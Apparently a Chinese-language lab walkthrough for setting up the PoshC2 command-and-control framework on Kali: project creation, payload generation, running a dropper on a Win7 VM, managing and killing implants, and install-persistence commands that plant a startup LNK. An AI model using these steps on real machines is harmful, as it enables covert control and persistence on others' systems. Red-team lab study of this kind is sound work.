0 环境
系统：
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux
项目地址(PoshC2-7.3.0):
https://github.com/nettitude/PoshC2
文档：
https://poshc2.readthedocs.io/en/latest/install_and_setup/index.html
1 安装
┌──(root💀kali)-[/home/kali/Desktop/PoshC2-7.3.0]
└─# sudo ./Install.sh
2 创建项目(默认创建的项目存在于 /var/poshc2/)
┌──(root💀kali)-[/home/kali/Desktop/PoshC2-7.3.0]
└─# posh-project -n howareyou
[+] Created Project: howareyou
[*] Now run posh-config to set your configuration
3 配置
┌──(root💀kali)-[/home/kali/Desktop/PoshC2-7.3.0]
└─# posh-config
4 启动(生成各种 payload,存在于 /var/poshc2/howareyou/payloads )
┌──(root💀kali)-[/home/kali/Desktop/PoshC2-7.3.0]
└─# posh-server
5 将其中的一个payload 移动到桌面,复制到win7虚拟机中运行(另外窗口)
┌──(root💀kali)-[/var/poshc2/howareyou/payloads]
└─# mv Posh_v2_dropper_migrate_x64.exe /home/kali/Desktop
6 创建用户(另外窗口)
┌──(root💀kali)-[/var/poshc2/howareyou/payloads]
└─# posh -u crashovverid
7 上线
8 交互
9 交互显示
10 关闭会话并退出
其他：
01 ####删除 会话
=============== PoshC2 Zip ===============
User: crashovverid
[5] : Seen:2021-02-01 20:16:01 | PID:2572 | 5s | URLID: 1 | WIN-NS5MF2INI14\win7 @ WIN-NS5MF2INI14 (AMD64) PS
[6] : Seen:2021-02-01 20:16:20 | PID:2580 | 5s | URLID: 1 | WIN-NS5MF2INI14\win7 @ WIN-NS5MF2INI14 (AMD64) PS
[8] : Seen:2021-02-01 21:09:06 | PID:2560 | 5s | URLID: 1 | WIN-NS5MF2INI14\win7 @ WIN-NS5MF2INI14 (AMD64) PS
[9] : Seen:2021-02-01 21:09:08 | PID:2720 | 5s | URLID: 1 | WIN-NS5MF2INI14\win7 @ WIN-NS5MF2INI14 (AMD64) PS
Select ImplantID or ALL or Comma Separated List (Enter to refresh):: 5,6,8,9
5,6,8,9> kill-implant
Are you sure you want to terminate the implant ID 5? (Y/n) Y
Are you sure you want to terminate the implant ID 6? (Y/n) Y
Are you sure you want to terminate the implant ID 8? (Y/n) Y
Are you sure you want to terminate the implant ID 9? (Y/n) Y
5,6,8,9> quit
Are you sure you want to quit? (Y/n) Y
┌──(root💀kali)-[/var/poshc2]
└─#
02 第二个窗口(创建用户进行交互)
posh -u crashoverride
//交互--示例
PoshC2可以创建一个LNK文件并将其直接放置在Windows启动文件夹中以保持持久性。可以通过执行以下命令来调用此技术：
* Persistence (with powershell.exe):
====================================
install-persistence 1,2,3
remove-persistence 1,2,3
相关链接：
Window权限维持（四）：快捷方式
系统安全 Bypass007 2019-12-04 8,007
https://www.secpulse.com/archives/119973.html
